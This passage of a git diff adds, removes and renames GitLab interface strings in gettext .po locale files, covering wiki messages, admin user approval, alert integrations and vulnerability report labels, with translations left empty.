+msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
+msgstr ""
+
msgid "Valid from"
msgstr ""
@@ -29247,7 +29896,7 @@ msgstr ""
msgid "Various settings that affect GitLab performance."
msgstr ""
-msgid "Verification capacity"
+msgid "Verification concurrency limit"
msgstr ""
msgid "Verification information"
@@ -29324,6 +29973,9 @@ msgstr ""
msgid "View file @ %{commitSha}"
msgstr ""
+msgid "View file @%{commit_sha}"
+msgstr ""
+
msgid "View full dashboard"
msgstr ""
@@ -29381,6 +30033,9 @@ msgstr ""
msgid "View replaced file @ "
msgstr ""
+msgid "View setting"
+msgstr ""
+
msgid "View supported languages and frameworks"
msgstr ""
@@ -29474,9 +30129,6 @@ msgstr ""
msgid "VisualReviewApp|Steps 1 and 2 (and sometimes 3) are performed once by the developer before requesting feedback. Steps 3 (if necessary), 4 is performed by the reviewer each time they perform a review."
msgstr ""
-msgid "Visualization"
-msgstr ""
-
msgid "Vulnerabilities"
msgstr ""
@@ -29582,6 +30234,12 @@ msgstr ""
msgid "Vulnerability|Activity"
msgstr ""
+msgid "Vulnerability|Actual received response is the one received when this fault was detected"
+msgstr ""
+
+msgid "Vulnerability|Additional Info"
+msgstr ""
+
msgid "Vulnerability|Class"
msgstr ""
@@ -29630,10 +30288,7 @@ msgstr ""
msgid "Vulnerability|Project"
msgstr ""
-msgid "Vulnerability|Request"
-msgstr ""
-
-msgid "Vulnerability|Response"
+msgid "Vulnerability|Request/Response"
msgstr ""
msgid "Vulnerability|Scanner"
@@ -29648,6 +30303,9 @@ msgstr ""
msgid "Vulnerability|Status"
msgstr ""
+msgid "Vulnerability|The unmodified response is the original response that had no mutations done to the request"
+msgstr ""
+
msgid "Wait for the file to load to copy its contents"
msgstr ""
@@ -29672,6 +30330,9 @@ msgstr ""
msgid "We are currently unable to fetch data for this graph."
msgstr ""
+msgid "We are currently unable to fetch data for this pipeline."
+msgstr ""
+
msgid "We could not determine the path to remove the epic"
msgstr ""
@@ -29801,6 +30462,9 @@ msgstr ""
msgid "Webhooks|Push events"
msgstr ""
+msgid "Webhooks|Releases events"
+msgstr ""
+
msgid "Webhooks|SSL verification"
msgstr ""
@@ -29816,6 +30480,9 @@ msgstr ""
msgid "Webhooks|This URL is triggered when a feature flag is turned on or off"
msgstr ""
+msgid "Webhooks|This URL is triggered when a release is created/updated"
+msgstr ""
+
msgid "Webhooks|This URL will be triggered by a push to the repository"
msgstr ""
@@ -29897,12 +30564,18 @@ msgstr ""
msgid "What is squashing?"
msgstr ""
+msgid "What is your job title? (optional)"
+msgstr ""
+
msgid "What's new at GitLab"
msgstr ""
msgid "What’s your experience level?"
msgstr ""
+msgid "When Kroki is enabled, GitLab sends diagrams to an instance of Kroki to display them as images. You can use the free public cloud instance %{kroki_public_url} or you can %{install_link} on your own infrastructure. Once you've installed Kroki, make sure to update the server URL to point to your instance."
+msgstr ""
+
msgid "When a deployment job is successful, skip older deployment jobs that are still pending"
msgstr ""
@@ -29958,7 +30631,13 @@ msgstr ""
msgid "Wiki"
msgstr ""
-msgid "Wiki was successfully updated."
+msgid "Wiki page was successfully created."
+msgstr ""
+
+msgid "Wiki page was successfully deleted."
+msgstr ""
+
+msgid "Wiki page was successfully updated."
msgstr ""
msgid "WikiClone|Clone your wiki"
@@ -30114,6 +30793,9 @@ msgstr ""
msgid "Wiki|Pages"
msgstr ""
+msgid "Wiki|The sidebar failed to load. You can reload the page to try again."
+msgstr ""
+
msgid "Wiki|Title"
msgstr ""
@@ -30195,9 +30877,6 @@ msgstr ""
msgid "Yes, delete project"
msgstr ""
-msgid "Yes, let me map Google Code users to full names or GitLab users."
-msgstr ""
-
msgid "Yesterday"
msgstr ""
@@ -30207,6 +30886,9 @@ msgstr ""
msgid "You already have pending todo for this alert"
msgstr ""
+msgid "You are about to add %{usersTag} people to the discussion. They will all receive a notification."
+msgstr ""
+
msgid "You are about to delete %{domain} from your instance. This domain will no longer be available to any Knative application."
msgstr ""
@@ -30252,6 +30934,9 @@ msgstr ""
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
+msgid "You are not allowed to reject a user"
+msgstr ""
+
msgid "You are not allowed to unlink your primary login account"
msgstr ""
@@ -30411,6 +31096,9 @@ msgstr ""
msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
msgstr ""
+msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
+msgstr ""
+
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
@@ -30453,6 +31141,9 @@ msgstr ""
msgid "You do not have permission to run the Web Terminal. Please contact a project administrator."
msgstr ""
+msgid "You do not have permission to update the environment."
+msgstr ""
+
msgid "You do not have permissions to run the import."
msgstr ""
@@ -30531,6 +31222,12 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an on-call schedule for this project"
+msgstr ""
+
+msgid "You have insufficient permissions to remove an on-call schedule from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
@@ -30615,9 +31312,6 @@ msgstr ""
msgid "You need to upload a GitLab project export archive (ending in .gz)."
msgstr ""
-msgid "You need to upload a Google Takeout archive."
-msgstr ""
-
msgid "You successfully declined the invitation"
msgstr ""
@@ -30660,13 +31354,10 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push project code via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
-msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
msgstr ""
-msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
msgid "You'll be signed out from your current account automatically."
@@ -30696,9 +31387,6 @@ msgstr ""
msgid "You're not allowed to make changes to this project directly. A fork of this project is being created that you can make changes in, so you can submit a merge request."
msgstr ""
-msgid "You're only seeing %{startTag}other activity%{endTag} in the feed. To add a comment, switch to one of the following options."
-msgstr ""
-
msgid "You're receiving this email because of your account on %{host}."
msgstr ""
@@ -30717,6 +31405,9 @@ msgstr ""
msgid "You've already enabled two-factor authentication using one time password authenticators. In order to register a different device, you must first disable two-factor authentication."
msgstr ""
+msgid "You've rejected %{user}"
+msgstr ""
+
msgid "YouTube"
msgstr ""
@@ -30741,6 +31432,9 @@ msgstr ""
msgid "Your CSV export of %{written_count} from project %{project_name} (%{project_url}) has been added to this email as an attachment."
msgstr ""
+msgid "Your CSV import for project"
+msgstr ""
+
msgid "Your Commit Email will be used for web based operations, such as edits and merges."
msgstr ""
@@ -30753,6 +31447,9 @@ msgstr ""
msgid "Your GPG keys (%{count})"
msgstr ""
+msgid "Your GitLab account request has been approved!"
+msgstr ""
+
msgid "Your GitLab group"
msgstr ""
@@ -30894,6 +31591,9 @@ msgstr ""
msgid "Your issues will be imported in the background. Once finished, you'll get a confirmation email."
msgstr ""
+msgid "Your license does not support on-call schedules"
+msgstr ""
+
msgid "Your license is valid from"
msgstr ""
@@ -30942,6 +31642,12 @@ msgstr ""
msgid "Your request for access has been queued for review."
msgstr ""
+msgid "Your request to join %{host} has been rejected."
+msgstr ""
+
+msgid "Your requirements are being imported. Once finished, you'll receive a confirmation email."
+msgstr ""
+
msgid "Your response has been recorded."
msgstr ""
@@ -30951,6 +31657,9 @@ msgstr ""
msgid "Your search didn't match any commits. Try a different query."
msgstr ""
+msgid "Your sign-in page is %{url}."
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -30960,6 +31669,9 @@ msgstr ""
msgid "Your subscription will expire in %{remaining_days}."
msgstr ""
+msgid "Your username is %{username}."
+msgstr ""
+
msgid "Zoom meeting added"
msgstr ""
@@ -31129,13 +31841,10 @@ msgstr ""
msgid "ciReport|%{sameNum} same"
msgstr ""
-msgid "ciReport|(errors when loading results)"
-msgstr ""
-
-msgid "ciReport|(is loading)"
+msgid "ciReport|: Loading resulted in an error"
msgstr ""
-msgid "ciReport|(is loading, errors when loading results)"
+msgid "ciReport|API Fuzzing"
msgstr ""
msgid "ciReport|All projects"
@@ -31301,6 +32010,12 @@ msgstr[0] ""
msgid "ciReport|View full report"
msgstr ""
+msgid "ciReport|is loading"
+msgstr ""
+
+msgid "ciReport|is loading, errors when loading results"
+msgstr ""
+
msgid "closed issue"
msgstr ""
@@ -31319,9 +32034,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "connecting"
-msgstr ""
-
msgid "container_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -31337,9 +32049,6 @@ msgstr ""
msgid "created %{timeAgo}"
msgstr ""
-msgid "customize"
-msgstr ""
-
msgid "data"
msgstr ""
@@ -31377,9 +32086,6 @@ msgstr ""
msgid "does not have a supported extension. Only %{extension_list} are supported"
msgstr ""
-msgid "done"
-msgstr ""
-
msgid "download it"
msgstr ""
@@ -31466,6 +32172,9 @@ msgstr ""
msgid "for this project"
msgstr ""
+msgid "fork"
+msgstr ""
+
msgid "fork this project"
msgstr ""
@@ -31491,6 +32200,9 @@ msgstr ""
msgid "has already been taken"
msgstr ""
+msgid "has been completed."
+msgstr ""
+
msgid "help"
msgstr ""
@@ -31512,7 +32224,7 @@ msgstr ""
msgid "import flow"
msgstr ""
-msgid "importing"
+msgid "in"
msgstr ""
msgid "in group %{link_to_group}"
@@ -32039,6 +32751,9 @@ msgstr ""
msgid "no one can merge"
msgstr ""
+msgid "no scopes selected"
+msgstr ""
+
msgid "none"
msgstr ""
@@ -32066,6 +32781,9 @@ msgstr ""
msgid "open issue"
msgstr ""
+msgid "opened %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
msgid "opened %{timeAgoString} by %{user}"
msgstr ""
@@ -32078,6 +32796,9 @@ msgstr ""
msgid "or"
msgstr ""
+msgid "originating vulnerability"
+msgstr ""
+
msgid "out of %d total test"
msgid_plural "out of %d total tests"
msgstr[0] ""
@@ -32151,6 +32872,9 @@ msgstr ""
msgid "project members"
msgstr ""
+msgid "project name"
+msgstr ""
+
msgid "projects"
msgstr ""
@@ -32203,6 +32927,9 @@ msgstr ""
msgid "security Reports|There was an error creating the merge request"
msgstr ""
+msgid "severity|Blocker"
+msgstr ""
+
msgid "severity|Critical"
msgstr ""
@@ -32215,9 +32942,15 @@ msgstr ""
msgid "severity|Low"
msgstr ""
+msgid "severity|Major"
+msgstr ""
+
msgid "severity|Medium"
msgstr ""
+msgid "severity|Minor"
+msgstr ""
+
msgid "severity|None"
msgstr ""
@@ -32266,9 +32999,6 @@ msgstr ""
msgid "ssh:"
msgstr ""
-msgid "started"
-msgstr ""
-
msgid "started a discussion on %{design_link}"
msgstr ""
@@ -32299,10 +33029,10 @@ msgstr ""
msgid "suggestPipeline|We’re adding a GitLab CI configuration file to add a pipeline to the project. You could create it manually, but we recommend that you start with a GitLab template that works out of the box."
msgstr ""
-msgid "syntax is correct"
+msgid "syntax is correct."
msgstr ""
-msgid "syntax is incorrect"
+msgid "syntax is incorrect."
msgstr ""
msgid "tag name"
@@ -32311,6 +33041,9 @@ msgstr ""
msgid "teammate%{number}@company.com"
msgstr ""
+msgid "the correct format."
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -32320,6 +33053,9 @@ msgstr ""
msgid "time summary"
msgstr ""
+msgid "to automatically add approvers based on file paths and file types."
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -32392,6 +33128,10 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "vulnerability"
+msgid_plural "vulnerabilities"
+msgstr[0] ""
+
msgid "vulnerability|Add a comment"
msgstr ""
diff --git a/locale/is_IS/gitlab.po b/locale/is_IS/gitlab.po
index 8cd80676f85..0cadf3c3d0f 100644
--- a/locale/is_IS/gitlab.po
+++ b/locale/is_IS/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: is\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-11-03 22:40\n"
+"PO-Revision-Date: 2020-12-03 08:09\n"
-msgid " %{project_name}#%{issue_iid} &middot; opened %{issue_created} by %{author}"
+msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author}"
msgstr ""
msgid " %{start} to %{end}"
@@ -82,6 +82,11 @@ msgid_plural "%d Approvals"
msgstr[0] ""
msgstr[1] ""
+msgid "%d Other"
+msgid_plural "%d Others"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d Package"
msgid_plural "%d Packages"
msgstr[0] ""
@@ -165,13 +170,13 @@ msgid_plural "%d days"
msgstr[0] ""
msgstr[1] ""
-msgid "%d day until tags are automatically removed"
-msgid_plural "%d days until tags are automatically removed"
+msgid "%d error"
+msgid_plural "%d errors"
msgstr[0] ""
msgstr[1] ""
-msgid "%d error"
-msgid_plural "%d errors"
+msgid "%d error found:"
+msgid_plural "%d errors found:"
msgstr[0] ""
msgstr[1] ""
@@ -351,22 +356,13 @@ msgstr ""
msgid "%{address} is an invalid IP address range"
msgstr ""
-msgid "%{author_link} wrote:"
+msgid "%{anchorOpen}Learn more%{anchorClose} about how you can customize / disable registration on your instance."
msgstr ""
-msgid "%{authorsName}'s thread"
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"@johnsmith\"%{code_close} will add \"By %{link_open}@johnsmith%{link_close}\" to all issues and comments originally created by johnsmith@example.com, and will set %{link_open}@johnsmith%{link_close} as the assignee on all issues originally assigned to johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"John Smith\"%{code_close} will add \"By John Smith\" to all issues and comments originally created by johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsm...@example.com\"%{code_close} will add \"By johnsm...@example.com\" to all issues and comments originally created by johnsmith@example.com. The email address or username is masked to ensure the user's privacy."
+msgid "%{author_link} wrote:"
msgstr ""
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsmith@example.com\"%{code_close} will add \"By %{link_open}johnsmith@example.com%{link_close}\" to all issues and comments originally created by johnsmith@example.com. By default, the email address or username is masked to ensure the user's privacy. Use this option if you want to show the full email address."
+msgid "%{authorsName}'s thread"
msgstr ""
msgid "%{code_open}Masked%{code_close} variables are hidden in job logs (though they must match certain regexp requirements to do so)."
@@ -445,6 +441,9 @@ msgstr ""
msgid "%{count} total weight"
msgstr ""
+msgid "%{criticalStart}%{critical} Critical%{criticalEnd} %{highStart}%{high} High%{highEnd} and %{otherStart}%{otherMessage}%{otherEnd}"
+msgstr ""
+
msgid "%{dashboard_path} could not be found."
msgstr ""
@@ -517,21 +516,27 @@ msgstr ""
msgid "%{host} sign-in from new location"
msgstr ""
-msgid "%{icon}You are about to add %{usersTag} people to the discussion. They will all receive a notification."
-msgstr ""
-
msgid "%{integrations_link_start}Integrations%{link_end} enable you to make third-party applications part of your GitLab workflow. If the available integrations don't meet your needs, consider using a %{webhooks_link_start}webhook%{link_end}."
msgstr ""
msgid "%{issuableType} will be removed! Are you sure?"
msgstr ""
+msgid "%{issueType} actions"
+msgstr ""
+
msgid "%{issuesCount} issues with a limit of %{maxIssueCount}"
msgstr ""
msgid "%{issuesSize} with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
+msgstr ""
+
+msgid "%{labelStart}Assert:%{labelEnd} %{assertion}"
+msgstr ""
+
msgid "%{labelStart}Class:%{labelEnd} %{class}"
msgstr ""
@@ -547,9 +552,6 @@ msgstr ""
msgid "%{labelStart}File:%{labelEnd} %{file}"
msgstr ""
-msgid "%{labelStart}Headers:%{labelEnd} %{headers}"
-msgstr ""
-
msgid "%{labelStart}Image:%{labelEnd} %{image}"
msgstr ""
@@ -565,13 +567,13 @@ msgstr ""
msgid "%{labelStart}Scanner:%{labelEnd} %{scanner}"
msgstr ""
-msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
+msgid "%{labelStart}Sent request:%{labelEnd} %{headers}"
msgstr ""
-msgid "%{labelStart}Status:%{labelEnd} %{status}"
+msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
msgstr ""
-msgid "%{labelStart}URL:%{labelEnd} %{url}"
+msgid "%{labelStart}Unmodified response:%{labelEnd} %{headers}"
msgstr ""
msgid "%{label_for_message} unavailable"
@@ -604,9 +606,6 @@ msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
msgstr ""
-msgid "%{loadingIcon} Started"
-msgstr ""
-
msgid "%{location} is missing required keys: %{keys}"
msgstr ""
@@ -707,34 +706,13 @@ msgstr[1] ""
msgid "%{remaining_approvals} left"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
+msgid "%{reportType} %{status}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities."
+msgid "%{reportType} detected %{totalStart}%{total}%{totalEnd} potential %{vulnMessage}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected %{other} vulnerability."
-msgid_plural "%{reportType} %{status} detected %{other} vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected no vulnerabilities."
+msgid "%{reportType} detected %{totalStart}no%{totalEnd} vulnerabilities."
msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
@@ -792,6 +770,9 @@ msgstr ""
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
+msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
+msgstr ""
+
msgid "%{strong_start}%{branch_count}%{strong_end} Branch"
msgid_plural "%{strong_start}%{branch_count}%{strong_end} Branches"
msgstr[0] ""
@@ -889,6 +870,9 @@ msgstr ""
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} has asked for a GitLab account on your instance %{host}:"
+msgstr ""
+
msgid "%{username}'s avatar"
msgstr ""
@@ -907,12 +891,6 @@ msgstr ""
msgid "&lt; 1 hour"
msgstr ""
-msgid "&lt;no scopes selected&gt;"
-msgstr ""
-
-msgid "&lt;project name&gt;"
-msgstr ""
-
msgid "'%{data}' at %{location} does not match format: %{format}"
msgstr ""
@@ -1506,9 +1484,6 @@ msgstr ""
msgid "Actions"
msgstr ""
-msgid "Activate"
-msgstr ""
-
msgid "Activate Service Desk"
msgstr ""
@@ -1856,9 +1831,15 @@ msgstr ""
msgid "Admin notes"
msgstr ""
+msgid "AdminArea|%{billable_users_link_start}Learn more%{billable_users_link_end} about what defines a billable user"
+msgstr ""
+
msgid "AdminArea|Active users"
msgstr ""
+msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
+msgstr ""
+
msgid "AdminArea|Billable users"
msgstr ""
@@ -2081,6 +2062,15 @@ msgstr ""
msgid "AdminUsers|Access the API"
msgstr ""
+msgid "AdminUsers|Activate"
+msgstr ""
+
+msgid "AdminUsers|Activate user"
+msgstr ""
+
+msgid "AdminUsers|Activate user %{username}?"
+msgstr ""
+
msgid "AdminUsers|Active"
msgstr ""
@@ -2129,16 +2119,19 @@ msgstr ""
msgid "AdminUsers|Blocking user has the following effects:"
msgstr ""
+msgid "AdminUsers|Cannot sign in or access instance information"
+msgstr ""
+
msgid "AdminUsers|Cannot unblock LDAP blocked users"
msgstr ""
msgid "AdminUsers|Deactivate"
msgstr ""
-msgid "AdminUsers|Deactivate User %{username}?"
+msgid "AdminUsers|Deactivate user"
msgstr ""
-msgid "AdminUsers|Deactivate user"
+msgid "AdminUsers|Deactivate user %{username}?"
msgstr ""
msgid "AdminUsers|Deactivated"
@@ -2165,6 +2158,9 @@ msgstr ""
msgid "AdminUsers|External users cannot see internal or private projects unless access is explicitly granted. Also, external users cannot create projects, groups, or personal snippets."
msgstr ""
+msgid "AdminUsers|For more information, please refer to the %{link_start}user account deletion documentation.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Is using seat"
msgstr ""
@@ -2201,6 +2197,15 @@ msgstr ""
msgid "AdminUsers|Regular users have access to their groups and projects"
msgstr ""
+msgid "AdminUsers|Reject"
+msgstr ""
+
+msgid "AdminUsers|Reject request"
+msgstr ""
+
+msgid "AdminUsers|Rejected users:"
+msgstr ""
+
msgid "AdminUsers|Restore user access to the account, including web, Git and API."
msgstr ""
@@ -2240,6 +2245,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unblock"
+msgstr ""
+
+msgid "AdminUsers|Unblock user"
+msgstr ""
+
+msgid "AdminUsers|Unblock user %{username}?"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2249,6 +2263,9 @@ msgstr ""
msgid "AdminUsers|When the user logs back in, their account will reactivate as a fully active account"
msgstr ""
+msgid "AdminUsers|Will be deleted"
+msgstr ""
+
msgid "AdminUsers|Without projects"
msgstr ""
@@ -2258,6 +2275,15 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You can always block their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always deactivate their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always re-activate their account, their data will remain intact."
+msgstr ""
+
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
@@ -2270,7 +2296,13 @@ msgstr ""
msgid "Administration"
msgstr ""
-msgid "Adoption"
+msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
+msgstr ""
+
+msgid "Admin|View pending user approvals"
+msgstr ""
+
+msgid "Admin|Your instance has reached its user cap"
msgstr ""
msgid "Advanced"
@@ -2482,6 +2514,24 @@ msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
msgstr ""
+msgid "AlertMappingBuilder|Define fallback"
+msgstr ""
+
+msgid "AlertMappingBuilder|GitLab alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Make selection"
+msgstr ""
+
+msgid "AlertMappingBuilder|Payload alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Select key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
+msgstr ""
+
msgid "AlertService|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
@@ -2491,9 +2541,18 @@ msgstr ""
msgid "AlertSettings|1. Select integration type"
msgstr ""
+msgid "AlertSettings|2. Add link to your Opsgenie alert list"
+msgstr ""
+
msgid "AlertSettings|2. Name integration"
msgstr ""
+msgid "AlertSettings|3. Set up webhook"
+msgstr ""
+
+msgid "AlertSettings|4. Sample alert payload (optional)"
+msgstr ""
+
msgid "AlertSettings|5. Map fields (optional)"
msgstr ""
@@ -2521,6 +2580,12 @@ msgstr ""
msgid "AlertSettings|Copy"
msgstr ""
+msgid "AlertSettings|Delete integration"
+msgstr ""
+
+msgid "AlertSettings|Edit payload"
+msgstr ""
+
msgid "AlertSettings|Enter integration name"
msgstr ""
@@ -2533,7 +2598,13 @@ msgstr ""
msgid "AlertSettings|HTTP Endpoint"
msgstr ""
-msgid "AlertSettings|HTTP endpoint"
+msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
+msgstr ""
+
+msgid "AlertSettings|If you've provided a sample alert payload, you can create a custom mapping for your endpoint. The default GitLab alert keys are listed below. Please define which payload key should map to the specified GitLab key."
+msgstr ""
+
+msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
msgid "AlertSettings|Integration"
@@ -2542,27 +2613,51 @@ msgstr ""
msgid "AlertSettings|Learn more about our our upcoming %{linkStart}integrations%{linkEnd}"
msgstr ""
-msgid "AlertSettings|Learn more about our upcoming %{linkStart}integrations%{linkEnd}"
+msgid "AlertSettings|Opsgenie"
msgstr ""
-msgid "AlertSettings|Opsgenie"
+msgid "AlertSettings|Proceed with editing"
+msgstr ""
+
+msgid "AlertSettings|Prometheus API base URL"
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional), or to test the integration (also optional)."
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to test the integration (optional)."
+msgstr ""
+
+msgid "AlertSettings|Reset Key"
msgstr ""
msgid "AlertSettings|Reset key"
msgstr ""
+msgid "AlertSettings|Reset the mapping"
+msgstr ""
+
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
msgid "AlertSettings|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgstr ""
+
+msgid "AlertSettings|Save and test payload"
+msgstr ""
+
msgid "AlertSettings|Save integration"
msgstr ""
msgid "AlertSettings|Select integration type"
msgstr ""
+msgid "AlertSettings|Submit payload"
+msgstr ""
+
msgid "AlertSettings|Test alert payload"
msgstr ""
@@ -2572,9 +2667,6 @@ msgstr ""
msgid "AlertSettings|Test failed. Do you still want to save your changes anyway?"
msgstr ""
-msgid "AlertSettings|The default GitLab alert keys are listed below. In the event an exact match could be found in the sample payload provided, that key will be mapped automatically. In all other cases, please define which payload key should map to the specified GitLab key. Any payload keys not shown in this list will not display in the alert list, but will display on the alert details page."
-msgstr ""
-
msgid "AlertSettings|There was an error updating the alert settings."
msgstr ""
@@ -2584,6 +2676,18 @@ msgstr ""
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize Prometheus to send alerts to GitLab. Review the Prometheus documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilizing this option will link the GitLab Alerts navigation item to your existing Opsgenie instance. By selecting this option, you cannot receive alerts from any other source in GitLab; it will effectively be turning Alerts within GitLab off as a feature."
+msgstr ""
+
+msgid "AlertSettings|We will soon be introducing the ability to create multiple unique HTTP endpoints. When this functionality is live, you will be able to configure an integration with Opsgenie to surface Opsgenie alerts in GitLab. This will replace the current Opsgenie integration which will be deprecated. %{linkStart}More Information%{linkEnd}"
+msgstr ""
+
msgid "AlertSettings|Webhook URL"
msgstr ""
@@ -2596,6 +2700,9 @@ msgstr ""
msgid "AlertSettings|Your integration was successfully updated."
msgstr ""
+msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
+msgstr ""
+
msgid "Alerts"
msgstr ""
@@ -2611,16 +2718,37 @@ msgstr ""
msgid "AlertsIntegrations|Current integrations"
msgstr ""
-msgid "AlertsIntegrations|HTTP endpoint"
+msgid "AlertsIntegrations|Integration Name"
msgstr ""
-msgid "AlertsIntegrations|Integration Name"
+msgid "AlertsIntegrations|Integration payload is invalid. You can still save your changes."
msgstr ""
msgid "AlertsIntegrations|No integrations have been added yet"
msgstr ""
-msgid "AlertsIntegrations|Prometheus"
+msgid "AlertsIntegrations|The current integration could not be updated. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be added. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be deleted. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully removed."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The test alert has been successfully sent, and should now be visible on your alerts list."
+msgstr ""
+
